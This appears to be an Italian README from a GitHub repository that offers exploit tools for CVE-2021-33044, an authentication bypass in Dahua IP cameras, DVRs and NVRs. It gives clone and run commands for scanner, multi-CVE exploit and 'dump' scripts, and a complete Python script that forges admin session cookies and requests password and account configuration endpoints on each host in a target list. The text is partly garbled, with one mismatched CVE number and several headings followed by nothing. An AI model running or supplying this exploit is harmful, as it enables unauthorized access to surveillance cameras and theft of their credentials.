
DAHUA_AUTH-BYPASS-CVE-2021-33044
Le telecamere IP Dahua sono dispositivi IoT ampiamente utilizzati nei sistemi di videosorveglianza. Spesso distribuite in reti locali o accessibili da Internet, le vulnerabilità di sicurezza nelle telecamere IP possono compromettere gravemente la privacy e la sicurezza delle informazioni.
CVE-2021-33045 è una vulnerabilità di sicurezza presente in alcune serie di telecamere Dahua, che consente l'accesso non autorizzato a risorse di configurazione interne senza una valida autenticazione. Questa vulnerabilità deriva da un meccanismo di controllo degli accessi debole nel firmware del dispositivo.
| Elemento | Contenuto |
|---|---|
| CVE | CVE-2021-33044 |
| Tipo | Bypass autenticazione |
| Gravità | Critico (CVSS ~9.8) |
| Autenticazione | Non richiesta |
| Impatto | Telecamere Dahua / DVR / NVR |
La vulnerabilità deriva da una progettazione non sicura dell'autenticazione nel firmware delle telecamere Dahua:
Ciò consente all'attaccante di:
Riferimenti:
→ Il client invia una richiesta HTTP con un cookie arbitrario
→ La telecamera controlla il cookie a livello di interfaccia
→ Nessuna verifica della sessione valida sul backend
→ Consente l'accesso diretto agli endpoint di configurazione interni
→ Restituisce dati sensibili
# Clona il repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scansiona sottorete (porte richieste)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Singolo host con porta
python dahua_scanner.py https://example.com
Porte comuni Dahua: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump del dispositivo dopo il bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
Lo script utilizza la libreria requests e disattiva attivamente gli avvisi SSL per disabilitare le notifiche SSL.
La funzione dump_accounts(ip, port=80) è la funzione principale responsabile del controllo su un singolo dispositivo telecamera.
La funzione principale serve a:
Simulazione del cookie di autenticazione. La funzione utilizza valori di cookie come:
userName=adminuserLevel=1sessionID=00000000Nelle versioni di telecamera vulnerabili, il backend non verifica il sessionID reale, portando il sistema a credere che la richiesta provenga da un account amministratore valido.
Lo script legge una lista di target da un file di input e chiama la funzione di controllo per ciascun dispositivo. Questo approccio consente di valutare più telecamere in modo automatico.
Questi script sono stati sviluppati sulla base di:
Stato dei test:
Questo progetto:
| File | Scopo | CVE |
|---|
dahua_scanner.py | Scansione di rete — trova telecamere Dahua nella sottorete | Rilevamento |
dahua_exploit.py | Strumento di scansione Multi-CVE — verifica tutte le vulnerabilità | Tutte |
dahua_auth_bypass.py | Bypass autenticazione dedicato con opzione --dump | CVE-2021-33044 |